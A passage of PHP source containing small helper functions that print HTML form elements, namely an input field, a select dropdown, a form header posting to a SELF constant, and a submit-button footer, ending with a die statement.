'<p>';$f = '</p>';} p($i.$title.'<input type="'.$type.'"'.$name.' value="'.$value.'" class="'.$class.'" size="'.$size.'" />'.$f); } function mkselect($arg = array()){ $title='';$i='';$f='';$selected='';$sel='<select class="input"'; foreach($arg as $k => $v){ if($k=='option'||$k=='title'||$k=='selected') $$k = $v; else $sel .= " $k=\"$v\""; } if(isset($newline)){$i='<p>';$f='</p>';} p($i."$title $sel>"); foreach($option as $key => $val){ p('<option value="'.$key.($selected==$key ? '" selected="selected"' : '"').">$val</option>"); } p("</select>$f"); } function formhead($n,$t=''){ if($t) p('<h2>'.$t.' »</h2>'); p('<form id="'.$n.'" action="'.SELF.'" method="post">'); } function formfoot(){p('<p><input class="bt" type="submit" value="Submit" /></p>'."\n</form>");} die; ?>